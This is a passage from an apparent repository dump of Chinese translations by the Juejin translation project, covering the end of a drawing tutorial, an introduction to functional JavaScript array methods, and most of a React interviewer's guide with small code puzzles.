玩的开心！如果你喜欢挑战，你甚至可能会镶嵌到立方体的边缘。\n\n![](https://cdn-images-1.medium.com/max/800/1*bP1gGRnZ4YFgbp3pRSPt_g.gif)\n\n小贴士：当你画出相遇的线条时，**让他们交叉在一起**通常是一个好主意。这样的形状看起来更好一些。\n\n![](https://cdn-images-1.medium.com/max/800/1*GSak0juhukCviIpl9vwH_A.gif)\n\n掌握透视图会使你能看见深度构图的力量。但是最重要的是，**你教会你的大脑如何三维的思考**。因此，即使您选择绘制“平面”图或者混淆视角的“规则” - 我喜欢这样做 - **理解透视图仍然是您可以掌握的最珍贵的绘图技能之一**。\n\n#### 练习 6: 构图 — 这个为什么要放在那？\n\n> **制作 5 个关于一个物体的不同绘图。每次将这个物体进行不同的排列**。\n\n![](https://cdn-images-1.medium.com/max/800/1*g4mywtKL2Gvc4H5gMcfKEA.gif)\n\n构图是一种很棒的工具，**用来表达某些东西**，以**塑造其意义或者信息**。\n\n为了理解它是如何工作的，我们必须牢记，我们的感知已经被**日常的经验所固定**。例如，水平线和垂直线对于我们来说似乎比对角线更“稳定”，对角线可能会在任何时候“倒下”。当我们在底部看到一个很大的阴影时，我们莫名认为它一定会很“沉重”。\n\n![](https://cdn-images-1.medium.com/max/800/1*vl77WjyBwGQO5DDvU8X8YQ.gif)\n\n当你在一张纸上试着对你的主题进行不同的安排时，注意这是如何改变它们的内涵 - 它们的含义。\n\n![](https://cdn-images-1.medium.com/max/800/1*iUHuYpv1cxvWUu-zICyKdQ.gif)\n\n#### 让我知道你的想法！\n\n由于这是我的第一个绘图教程，我很好奇你最喜欢哪个部分。关于绘画你还有什么想了解的？**请在下面的评论部分留下您的想法和建议！**\n\n**哦，这是第二部分：“[**另外 5 个绘画练习**](https://github.com/xitu/gold-miner/blob/master/TODO1/5-more-drawing-exercises.md)”！**\n\n**如果你喜欢这篇文章，请点击下面这些小👏（您可以多次“拍手”！）并把这篇文章分享给你的朋友，和[**订阅我的邮箱**](http://eepurl.com/cJJLR1)，你可以在[这里](http://ralphammer.com/writing)找到我的文章。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-quick-introduction-to-functional-javascript.md",
    "content": "> * 原文地址：[A Quick Introduction to Functional Javascript](https://hackernoon.com/a-quick-introduction-to-functional-javascript-7e6fe520e7fa)\n> * 原文作者：[Angelos Chalaris](https://hackernoon.com/@chalarangelo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-quick-introduction-to-functional-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-quick-introduction-to-functional-javascript.md)\n> * 译者：[Zheng7426](https://github.com/Zheng7426)\n> * 校对者：[AmyFoxFN](https://github.com/AmyFoxFN)\n\n# 函数式 JavaScript 快速入门\n\n**函数式编程**是目前最热门的趋势之一，有很多好的论点解释了人们为什么想在代码中使用它。我并不打算在这里详细介绍所有函数式编程的概念和想法，而是会尽力给你演示在日常情况下和 **JavaScript** 打交道的时候如何用上这种编程。\n\n![](https://cdn-images-1.medium.com/max/2000/1*w91eh65v6nxTs2AhLhyRNA.jpeg)\n\n> 函数式编程是一种编程范例，它将计算机运算视为数学上的函数计算，并且避免了状态的改变和易变的数据。\n\n#### 重新定义函数\n\n在深入接触 JavaScript 的函数式编程范例之前，咱们得先知道什么是**高阶函数**、它的用途以及这个定义本身究竟有什么含义。高阶函数既可以把函数当成参数来接收，也可以作为把函数作为结果输出。你需要记住 **函数其实也是一种值**，也就是说你可以像传递变量一样去传递函数。\n\n所以呢，在 JavaScript 里你可以这么做：\n\n```\n// 创建函数\nfunction f(x){\n  return x * x;\n}\n// 调用该函数\nf(5); // 25\n\n// 创建匿名函数\n// 并赋值一个变量\nvar g = function(x){\n  return x * x;\n}\n// 传递函数\nvar h = g;\n// And use it\nh(5); // 25\n```\n\n把函数当成值来使用\n\n一旦使用上面这个技巧，你的代码更容易被重复利用，同时功能也更加强大。咱们都经历过这样的情况：想要把一个函数传到另一个函数里去执行任务，但需要写一些额外的代码来实现这一点，对吧？使用函数式编程的话，你将不再需要写额外的代码，并且可以使你的代码变得很干净、易于理解。\n\n* [**为什么函数式编程很重要**：在面试软件工程师的时候测验他们的函数式编程能力为何会对你的企业有好处](https://hackernoon.com/why-functional-programming-matters-c647f56a7691)\n\n有一点要注意，正确的泛函代码的特点是**没有副作用**，也就是说函数应该只依赖于它们的参数输入，并且不应以任何方式影响到外界环境。这个特点有重要的含义，举个例子：如果传递进函数的参数相同，那么输出的结果也总是相同的；如果一个被调用的函数所输出的结果并没有被用到，那么这个结果即使被删掉也不会影响别的代码。\n\n* * *\n\n#### 使用数组原型的内置方法\n\n[`Array.prototype`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype) 应该是你学习 JavaScript 函数式编程的第一步，它涵盖了很多**数组转化**的实用方法，这些方法在现代网页应用里相当的常见。\n\n* [**Array.prototype**: Array.prototype 属性表示数组构造函数的原型，并允许你添加新属性……](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype)\n\n先来看看这个叫 [`Array.prototype.sort()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort) 的方法会很不错，因为这个转化挺直白的。顾名思义，咱可以用这个方法来**给数组排序**。`.sort()` 只接收一个参数(即一个用于比较两个元素的函数）。如果第一个元素在第二个元素的前面，结果返回的是负值。反之，则返回正值。\n\n排序听起来非常简单，然而当你需要给比一般数字数组复杂得多的数组排序时，可能就不那么简单了。在下面这个例子里，我们有一个对象的数组，里面存的是以磅（**lbs**）或千克（**kg**）为单位的体重，咱们需要对这些人的体重进行升序排列。代码看起来会是这样：\n\n```\n// 咱们这个比较函数的定义\nvar sortByWeight = function(x,y){\n  var xW = x.measurement == \"kg\" ? x.weight : x.weight * 0.453592;\n  var yW = y.measurement == \"kg\" ? y.weight : y.weight * 0.453592;\n  return xW > yW ? 1 : -1;\n}\n\n// 两组数据有细微差别\n// 要根据体重来对它们进行排序\nvar firstList = [\n  { name: \"John\", weight: 220, measurement: \"lbs\" },\n  { name: \"Kate\", weight: 58, measurement: \"kg\" },\n  { name: \"Mike\", weight: 137, measurement: \"lbs\" },\n  { name: \"Sophie\", weight: 66, measurement: \"kg\" },\n];\nvar secondList = [\n  { name: \"Margaret\", weight: 161, measurement: \"lbs\", age: 51 },\n  { name: \"Bill\", weight: 76, measurement: \"kg\", age: 62 },\n  { name: \"Jonathan\", weight: 72, measurement: \"kg\", age: 43 },\n  { name: \"Richard\", weight: 74, measurement: \"kg\", age: 29 },\n];\n\n// 用开头定义的函数\n// 对两组数据进行排序\nfirstList.sort(sortByWeight); // Kate, Mike, Sophie, John \nsecondList.sort(sortByWeight); // Jonathan, Margaret, Richard, Bill\n```\n\n用函数式编程来对两个数组进行排序的例子\n\n在上面的例子里，你可以很清楚地观察到使用高阶函数带来的好处：节省了空间、时间，也让你的代码更能被读懂、更容易被重复利用。如果你不打算用 `.sort()` 来写的话，你得另外写两个循环并重复大部分的逻辑。坦率来说，那样将导致更冗长、臃肿且不易理解的代码。\n\n* * *\n\n通常你对数组的操作也不单只是排序而已。就我的经验而言，根据属性来**过滤一个数组**很常见，而且没有什么方法比 [`Array.prototype.filter()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) 更加合适。过滤数组并不困难，因为你只需将一个函数作为参数，对于那些需要被过滤掉的元素，该函数会返回 `false`。反之，该函数会返回 `true`。很简单，不是吗？咱们来看看实例：\n\n```\n// 一群人的数组\nvar myFriends = [\n  { name: \"John\", gender: \"male\" },\n  { name: \"Kate\", gender: \"female\" },\n  { name: \"Mike\", gender: \"male\" },\n  { name: \"Sophie\", gender: \"female\" },\n  { name: \"Richard\", gender: \"male\" },\n  { name: \"Keith\", gender: \"male\" }\n];\n\n// 基于性别的简易过滤器\nvar isMale = function(x){\n  return x.gender == \"male\";\n}\n\nmyFriends.filter(isMale); // John, Mike, Richard, Keith\n```\n\n关于过滤的一个简单例子\n\n虽然 `.filter()` 会返回数组中所有符合条件的元素，你也可以用 [`Array.prototype.find()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find) 提取数组中第一个符合条件的元素，或是用 [`Array.prototype.findIndex()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex) 来提取数组中第一个匹配到的元素索引。同理，你可以使用 [`Array.prototype.some()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some) 来测试是否至少有一个元素符合条件，抑或是用 [`Array.prototype.every()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every) 来检查是否所有的元素都符合条件。这些方法在某些应用中可以变得相当有用，所以咱们来看一个囊括了这几种方法的例子：\n\n```\n// 一组关于分数的数组\n// 不是每一项都标注了人名\nvar highScores = [\n  {score: 237, name: \"Jim\"},\n  {score: 108, name: \"Kit\"},\n  {score: 91, name: \"Rob\"},\n  {score: 0},\n  {score: 0}\n];\n\n// 这些简单且能重复使用的函数\n// 是用来查看每一项是否有名字\n// 以及分数是否为正数\nvar hasName = function(x){\n  return typeof x['name'] !== 'undefined';\n}\nvar hasNotName = function(x){\n  return !hasName(x);\n}\nvar nonZeroHighScore = function(x){\n  return x.score != 0;\n}\n\n// 填充空白的名字，直到所有空白的名字都有“---”\nwhile (!highScores.every(hasName)){\n  var highScore = highScores.find(hasNotName);\n  highScore.name = \"---\";\n  var highScoreIndex = highScores.findIndex(hasNotName);\n  highScores[highScoreIndex] = highScore;\n}\n\n// 检查非零的分数是否存在\n// 并在 console 里输出\nif (highScores.some(nonZeroHighScore))\n  console.log(highScores.filter(nonZeroHighScore));\nelse \n  console.log(\"No non-zero high scores!\");\n```\n\n使用函数式编程来构造数据\n\n到这一步，你应该会有些融会贯通的感觉了。上面的例子清楚地体现出高阶函数是如何使你避免了大量重复且难以理解的代码。这个例子虽然简单，但你也能看出代码的简洁之处，与你在未使用函数式编程范例时所编写的内容形成鲜明对比。\n\n* * *\n\n先撇开上面例子里复杂的逻辑，咱们有的时候只想要**将数组转化成另一个数组**，且无需对数组里的数据做那么多的改变。这个时候 [`Array.prototype.map()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map) 就派上用场了，我们可以用这个方法来转化数组中的对象。`.map()`和之前例子所用到的方法并不相同，区别在于其作为参数的高阶函数会返回一个对象，可以是任何你想写的对象。让我用一个简单的例子来演示一下：\n\n```\n// 一个有 4 个对象的数组\nvar myFriends = [\n  { name: \"John\", surname: \"Smith\", age: 52},  \n  { name: \"Sarah\", surname: \"Smith\", age: 49},  \n  { name: \"Michael\", surname: \"Jones\", age: 46},  \n  { name: \"Garry\", surname: \"Thomas\", age: 48}\n];\n\n// 一个简单的函数\n// 用来把名和姓放在一起\nvar fullName = function(x){\n  return x.name + \" \" + x.surname;\n}\n\nmyFriends.map(fullName);\n// 应输出\n// [\"John Smith\", \"Sarah Smith\", \"Michael Jones\", \"Garry Thomas\"]\n```\n\n对数组里的对象进行 mapping 操作\n\n从上面这个例子可以看出，一旦对数组使用了 `.map()` 方法，很容易就能得到一个仅包含咱们所需属性的数组。在这个例子里，咱只想要对象中 `name` 和 `surname` 这两行字符串，所以才使用简单的 mapping（译者注：即使用 map 方法） 来利用原来包含很多对象的数组上创建了另一个只包含字符串的数组。Mapping 这种方式可能比你想象的还要常用，它在每个网页开发者的口袋中可以成为很强大的工具。所以说，这整篇文章里你如果别的没记住的话，没关系，但千万要记住如何使用 `.map()`。\n\n* * *\n\n最后还有一点非常值得你注意，那就是**常规目的数组转化**中的 [`Array.prototype.reduce()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)。`.reduce()` 与上面提到的所有方法都有所不同，因为它的参数不仅仅是一个高阶函数，还包含一个**累加器**。一开始听起来可能有些令人困惑，所以先看一个例子来帮助你理解 `.reduce()` 背后的基础概念吧：\n\n```\n// 关于不同公司支出的数组\nvar oldExpenses = [\n  { company: \"BigCompany Co.\", value: 1200.10},\n  { company: \"Pineapple Inc.\", value: 3107.02},\n  { company: \"Office Supplies Inc.\", value: 266.97}\n];\nvar newExpenses = [\n  { company: \"Office Supplies Inc.\", value: 108.11},\n  { company: \"Megasoft Co.\", value: 1208.99}\n];\n\n// 简单的求和函数\nvar sumValues = function(sum, x){\n  return sum + x.value;\n}\n\n// 将第一个数组降为几个数值之和\nvar oldExpensesSum = oldExpenses.reduce(sumValues, 0.0);\n// 将第二个数组降为几个数值之和\nconsole.log(newExpenses.reduce(sumValues, oldExpensesSum)); // 5891.19\n```\n\n将数组降为和值\n\n对于任何曾经把数组中的值求和的人来说，理解上面这个例子应该不会特别困难。一开始咱们定义了一个可重复使用的高阶函数，用于把数组中的 value 都加起来。之后，咱们用这个函数来给第一个数组中的支出数值求和，并把求出来的值当成初始值，而不是从零开始地去累加第二个数组中的支出数值。所以最后得出的是两个数组的支出数值总和。\n\n* [**Reduce (编写软件)**：注意：这是关于学习函数式编程和编写软件的“Composing Software”系列的一部分……](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)\n\n当然了，`.reduce()` 可以做的事情远不止在数组中求和而已。大多数别的方法解决不了的**复杂转化**，都可以使用 `.reduce()` 与一个数组或对象的累加器来轻松解决。一个实用的例子是转化一个有很多篇文章的数组，每一篇文章有一个标题和一些标签。原来的数组会被转化成标签的数组，每一项中有使用该标签的文章数目以及这些文章的标题构成的数组。咱们来看看代码：\n\n```\n// 一个带有标签的文章的数组\nvar articles = [\n  {title: \"Introduction to Javascript Scope\", tags: [ \"Javascript\", \"Variables\", \"Scope\"]},\n  {title: \"Javascript Closures\", tags: [ \"Javascript\", \"Variables\", \"Closures\"]},\n  {title: \"A Guide to PWAs\", tags: [ \"Javascript\", \"PWA\"]},\n  {title: \"Javascript Functional Programming Examples\", tags: [ \"Javascript\", \"Functional\", \"Function\"]},\n  {title: \"Why Javascript Closures are Important\", tags: [ \"Javascript\", \"Variables\", \"Closures\"]},\n];\n\n// 一个能够将文章数组降为标签数组的函数\n// \nvar tagView = function(accumulator, x){\n  // 针对文章的标签数组（原数组）里的每一个标签\n  x.tags.forEach(function(currentTag){\n    // 写一个函数看看标签是否匹配\n    var findCurrentTag = function(y) { return y.tag == currentTag; };\n    // 检查是否该标签已经出现在累积器数组\n    if (accumulator.some(findCurrentTag)){\n      // 找到标签并获得索引\n      var existingTag = accumulator.find(findCurrentTag);\n      var existingTagIndex = accumulator.findIndex(findCurrentTag);\n      // 更新使用该标签的文章数目，以及文章标题的列表\n      accumulator[existingTagIndex].count += 1;\n      accumulator[existingTagIndex].articles.push(x.title);\n    }\n    // 否则就在累积器数组中增添标签\n    else {\n      accumulator.push({tag: currentTag, count: 1, articles: [x.title]});\n    }\n  });\n  // 返回累积器数组\n  return accumulator;\n}\n\n// 转化原数组\narticles.reduce(tagView,[]);\n// 输出:\n/*\n[\n {tag: \"Javascript\", count: 5, articles: [\n    \"Introduction to Javascript Scope\", \n    \"Javascript Closures\",\n    \"A Guide to PWAs\", \n    \"Javascript Functional Programming Examples\",\n    \"Why Javascript Closures are Important\"\n ]},\n {tag: \"Variables\", count: 3, articles: [\n    \"Introduction to Javascript Scope\", \n    \"Javascript Closures\",\n    \"Why Javascript Closures are Important\"\n ]},\n {tag: \"Scope\", count: 1, articles: [ \n    \"Introduction to Javascript Scope\" \n ]},\n {tag: \"Closures\", count: 2, articles: [\n    \"Javascript Closures\",\n    \"Why Javascript Closures are Important\"\n ]},\n {tag: \"PWA\", count: 1, articles: [\n    \"A Guide to PWAs\"\n ]},\n {tag: \"Functional\", count: 1, articles: [\n    \"Javascript Functional Programming Examples\"\n ]},\n {tag: \"Function\", count: 1, articles: [\n    \"Javascript Functional Programming Examples\"\n ]}\n]\n*/\n```\n\n使用 reduce() 来进行一项复杂的转化\n\n上面这个例子可能看起来会有些小复杂，所以需要一步一步来研究。首先呢，咱想要的最终结果是一个数组，所以累加器的初始值就成了`[]`。然后，咱想要数组中的每一个对象都包含标签名、使用该标签的文章数目以及文章标题的列表。不但如此，每一个标签在数组中只能出现一次，所以咱必须用 `.some()`、`.find()` 和 `.findIndex()` 来检查标签是否存在，之后将现有标签的对象进行转化，而不是另加一个新的对象。\n\n棘手的地方在于，咱不能定义一个函数来检查每个标签是否都存在（否则需要 7 个不同的函数）。所以咱们才在当前标签的循环里定义高阶函数，这样一来就可以再次使用高阶函数，避免重写代码。对了，其实这也可以通过 Currying 来完成，但我不会在本文中解释这个技巧。\n\n* [**现实中的 Currying**：当我开始学习函数式编程时，我学到了很多有趣的概念……](https://hackernoon.com/currying-in-the-real-world-b9627d74a554)\n\n当咱们在累加器数组中获取标签的对象之后，只需要把使用该标签的文章数目递增，并且将当前标签下的文章添加到其文章数组中就行了。最后，咱们返回累加器，大功告成。仔细阅读的话会发现代码不但非常简短，而且很容易理解。相同情况下，非函数式编程的代码将会看起来非常令人困惑，而且明显会更冗杂。\n\n#### 结语\n\n函数式编程作为目前最热门的趋势之一，是有其充分原因的。它使咱们在写出更清晰、更精简和更“吝啬”代码的同时，不必去担心副作用和状态的改变。JavaScript 的 `[Array.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype)` 方法在许多日常情况下非常实用，并且让咱们在对数组进行简单和复杂的转化，也不必去写太多重复的代码。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-react-job-interview-recruiter-perspective.md",
    "content": "> * 原文地址：[A React job interview — recruiter perspective.](https://medium.com/@baphemot/a-react-job-interview-recruiter-perspective-f1096f54dd16)\n> * 原文作者：[Bartosz Szczeciński](https://medium.com/@baphemot?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-react-job-interview-recruiter-perspective.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-react-job-interview-recruiter-perspective.md)\n> * 译者：[子非](https://github.com/CoolRice)\n> * 校对者：[Calpa Liu](https://github.com/calpa)，[wxh_leo](https://github.com/Augustwuli)\n\n# 以面试官的角度来看 React 工作面试\n\n![](https://cdn-images-1.medium.com/max/1000/1*MQNFrJwbmP7AmaSU-rxuBg.jpeg)\n\n图片来自于 unsplash 上的 [rawpixel](https://unsplash.com/@rawpixel)\n\n> **重要说明**\n> 本文并不会列出在 React 工作面试中会出现的常规问题和问题的完整回答。这篇文章的重点是展示我提出的问题，我在答案中寻找的内容以及为什么没有不好的答案。如果你想要一份“最佳面试问题2018”的集合，请查看 [https://github.com/sudheerj/reactjs-interview-questions](https://github.com/sudheerj/reactjs-interview-questions)\n\n我的部分工作职责是执行所谓的“技术面试”，在面试时我会评估申请“React 前端开发”职位的潜在候选人。\n\n如果你曾经用谷歌搜索“React 面试问题”（或任何其他“[技术]面试问题”），你可能已经看过无数“十大 React 面试问题”，这些问题要么已经过时，要么和“state 和 props 之间有什么不同”或“什么是虚拟  dom” 这些问题重复。\n\n知道这些问题的答案**不应该**是面试官决定是否录用你的依据。这些知识点都是候选人在日常工作中**需要了解**，理解和实现的。如果你被问到这样的问题，要么是面试你的人没有技术背景（HR 或“猎头”），要么他们认为这是一种形式。\n\n面试不应该浪费时间。它应该让你了解候选人的过去经历，过去的知识和发展机会。候选人应该了解您的公司和项目（如果可能），并得出他的表现是否符合你对这个职位候选人的期望的反馈。在求职面试中没有不好的答案（除非问题严格是技术性的）—— 他的答案应该能让你审视这个人的思考过程。\n\n**本篇文章以面试官的视角所写！**\n\n### 让我们相互了解对方\n\n在许多情况下，面试将通过 Skype 或其他语音（或语音+视频）通信平台进行。尝试去了解有可能成为员工的人是一个让他们放开自己的好方法。\n\n#### 你能告诉我一些你以前的工作，你是如何适应团队的吗？你的职责是什么？\n\n了解这个人在他以前的公司做了什么（如果他被允许分享的话）是一个很好的开始。这给你一些关于他以前工作经验的基本想法：软技能（“我是……的唯一开发人员”，“我和我的同事……”，“我管理了一个由 6 名开发人员组成的团队……”）和硬技能（“ ……我们创建了一个一百万人使用的应用程序”，“……我帮助优化了应用程序的渲染时间”，“……创建了很多自动化测试”）。\n\n#### **对你来说** React 的主要卖点是什么。为什么**你**选择使用 React？\n\n我并不期望你提到 JSX，VDOM 等等。—— 我们已经可以通过阅读 React 主页上的“特色”导语得到这些东西。**你** 为什么使用 React？\n\n是因为“易上手，难掌握” 的 API（和其它解决方案相比它**的确是**非常轻量）？好 —— 这么说的话，意味着你愿意学习新事物，并且随学随用。\n\n是因为更多的“就业机会”吗？不错 —— 你是一个能够适应市场的人，并且在下一个大框架到来的 5 年内不会有任何问题。我们已经有足够的 jQuery 开发人员了。\n\n想想这有点像“电梯游说”情景（你和你的老板在电梯里，并且需要说服他在 20 楼走出电梯门之前使用新技术）。我想知道你是否了解 React 能给用户和开发者带来什么好处。\n\n### 让我们开始聊些更有技术性的问题\n\n正如我在一段开头提到的那样 —— 我不会问你 VDOM 是什么。我们都知道它，但我会问你……\n\n#### 什么是 JSX 和我们怎样在 JavaScript 代码中书写它 —— 浏览器是如何识别它的？\n\n你知道 —— JSX 只是一种 Facebook 普及的标记语法，受益于 Babel/TSC 这些工具 —— 我们能够以一种更令赏心悦目的方式书写 `React.createElement` 调用。\n\n为什么我会问这个问题？我想知道你是否理解 JSX 的技术原理以及随之而来的限制：为什么甚至在我们的代码并没有使用 `React` 的情况下，也需要在文件顶部 `import React from 'react'`；为什么组件不能直接返回多个元素。\n\n**加分题：为什么 JSX 中的组件名要以大写字母开头？**<br/>\n能回答出 React 如何知道要渲染的是组件还是 HTML 元素就够了。\n\n额外加分点：此规则有很多例外。例如：把一个组件赋给 `this.component` 并且写 `<this.component />` 也会起作用。\n\n#### 在 React 中你可以声明的两种主要组件类型是什么以及使用时怎样在两者间选择？\n\n一些人会认为这道题是关于展示组件和容器组件的，但实际上是关于 `React.Component` 和函数组件。\n\n恰当的回答应该提及生命周期函数和组件状态。\n\n#### 由于我们提到了生命周期 —— 你能跟我讲一遍挂载状态组件的生命周期吗？哪些函数按何种顺序被调用？你会把向 API 的数据请求放在哪里执行？为什么？\n\n好，这个问题有点长。请随意把它分成两个小问题。你现在会想“但你说你不会问关于生命周期的内容啊！”。我不会问，我不关心生命周期。我关心的其实是最近几个月生命周期发生的变化。\n\n如果回答包含 `componentWillMount`，你可以假设此人一直在使用旧版本的 React，或者学了一些过时的教程。两种情况都会引起一些担忧。`getDerivedStateFromProps` 才是你在寻找的答案。\n\n额外加分点：提到在服务端上处理方式不同。\n\n关于数据获取的问题也是如此 —— `componentDidMount` 是你想要/听到的之一。\n\n**加分题：为什么用 `componentDidMount` 而不是 `constructor`？**<br/>\n你希望听到的两个原因会是：“在渲染发生之前数据不会存在” —— 虽然不是主要原因，但它向您显示该人员了解组件的处理方式; “在 React Fiber 中使用新的异步渲染……” —— 有人一直在努力学习。\n\n#### 我们刚才提到通过 API 获取数据 —— 你是如何保证在组件重新挂载之后不会重新获取数据？\n\n我们假设不存在“缓存失效”。这个点和 React 关联性并不大，不过如果回答限制在 React 范围内，也是不错的 一 也许他使用的 GraphQL 的方法对你来说过于繁重？\n\n我问这个问题的目的，是考察候选人是否理解在应用中 UI 需要与其他层解耦的理念。可以提及一个 React 架构外部的 API。\n\n#### 你能解释下“状态提升”理念吗？\n\n好，我确实问了一些典型的 React 问题。不过这一个是至关重要的，允许你给候选人一些放松空间。\n\n首选答案是“它允许你在兄弟组件间传递数据”或“它允许你拥有更多纯展示组件，更易复用”。在这里也许会提到 Redux，不过这可能也是一件坏事，因为它表示候选人只是跟随社区推荐的任何东西，而不理解他为什么需要它。\n\n**加分题：如果不能在组件间传递数据，你怎样给多级组件传递数据？**\n自从 React 16.3 开始，Context 已经成为主流 —— 它之前就已经存在了，不过文档是缺失的（有意为之）。如果能在解释出 Context 的工作方式（同时能表现出知道 function-as-child 模式）会是加分项。\n\n如果这里能提到 Redux 或 MobX 也很好。\n\n### React 生态\n\n开发 React 应用只是流程的一部分 —— 还有更多的要做：调试、测试和文档。\n\n#### 你是怎样调试 React 代码问题的，你用哪些工具？你会怎样调查组件没有重新渲染的问题？\n\n每个人都应该熟悉像 linter（eslint，jslint）和调试工具（React Developer Tools）这些基本工具。\n\n使用 RDT 来调试问题并通过检查组件 state/props 是否正确是一个不错的答案，如果能提到用 Developer Tools 来打断点也是很好的回答。\n\n#### 你用过哪些测试工具来写 unit/E2E 测试？快照测试是什么及它的好处？\n\n在大多数情况下测试是“不可避免的麻烦”，但它们又是我们所需要的。有很多优秀的答案：karma、mocha、jasmin、jest、cypres、selenium、enzyme、react-test-library 等等。最糟糕的事是候选人回答“上一家公司我们不做单元测试，只有人工测试”。\n\n快照测试部分的回答依赖于你的项目里用了什么；如果你觉得它不是很有用就不要问及。但是如果觉得有用 —— 答案就是“用于 HTML + CSS 生成的 UI 层的便捷回归测试”。\n\n### 小型的代码挑战\n\n如果有可能，我也会让候选人来做一些小型的代码挑战，解决/解释它们不应该花费超过一两分钟，例如：\n\n```\n/**\n* 这个例子有什么问题，要如何修改或改进这个组件？\n*/\n\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {\n      name: this.props.name || 'Anonymous'\n    }\n  }\n\n  render() {\n    return (\n      <p>Hello {this.state.name}</p>\n    );\n  }\n}\n```\n\n有很多方式来解决它：移除 state 并使用 props，实现 `getDerivedStateFromProps` 或者更好的方式是把该组件变为函数组件。\n\n```\n/**\n * 这几个向组件传递函数的方式，你能解释它们的不同吗？\n *\n * 当你点击每个按钮会发生什么？\n */\n\nclass App extends React.Component {\n\n  constructor() {\n    super();\n    this.name = 'MyComponent';\n\n    this.handleClick2 = this.handleClick1.bind(this);\n  }\n\n  handleClick1() {\n    alert(this.name);\n  }\n\n  handleClick3 = () => alert(this.name);\n\nrender() {\n    return (\n      <div>\n        <button onClick={this.handleClick1()}>click 1</button>\n        <button onClick={this.handleClick1}>click 2</button>\n        <button onClick={this.handleClick2}>click 3</button>\n        <button onClick={this.handleClick3}>click 4</button>\n      </div>\n    );\n  }\n}\n```\n\n这道题要稍微费点功夫，因为代码比较多。如果候选人回答正确紧接着问“为什么？”。为什么 `click 2` 这会以这种方式运行？\n\n这个不是 React 问题，如果有人的回答以“因为在 React 中……”开始，这说明他们没有真正理解 JS 事件循环机制。\n\n```\n/**\n * 这个组件有什么问题。为什么？要如何解决呢？\n */\n\nclass App extends React.Component {\n\nstate = { search: '' }\n\nhandleChange = event => {\n\n/**\n     * 这是“防抖”函数的简单实现，它会以队列的方式在 250 ms 内调用\n     * 表达式并取消所有挂起的队列表达式。以这种方式我们可以在用户停止输\n     * 入时延迟 250 ms 来调用表达式。\n     */\n    clearTimeout(this.timeout);\n    this.timeout = setTimeout(() => {\n      this.setState({\n        search: event.target.value\n      })\n    }, 250);\n  }\n\nrender() {\n    return (\n      <div>\n        <input type=\"text\" onChange={this.handleChange} />\n        {this.state.search ? <p>Search for: {this.state.search}</p> : null}\n      </div>\n    )\n  }\n}\n```\n\n好，这道题就需要一些解释了。在防抖函数中并没有错误。那么应用会按期望方式运行吗？它会在用户停止输入的 250 ms 之后更新并且渲染字符串“Search for: …”吗？\n\n这里的问题是在 React 中 `event` 是一个 `SyntheticEvent`，如果和它的交互被延迟了（例如：通过 `setTimeout`），事件会被清除并且 `.target.value` 引用不会再有效。\n\n**额外加分点：候选人要能解释出为什么。**\n\n### 技术问题环节完毕\n\n这应该足够你了解候选人的技能了。不过你还要为开放问答留一些时间。\n\n#### 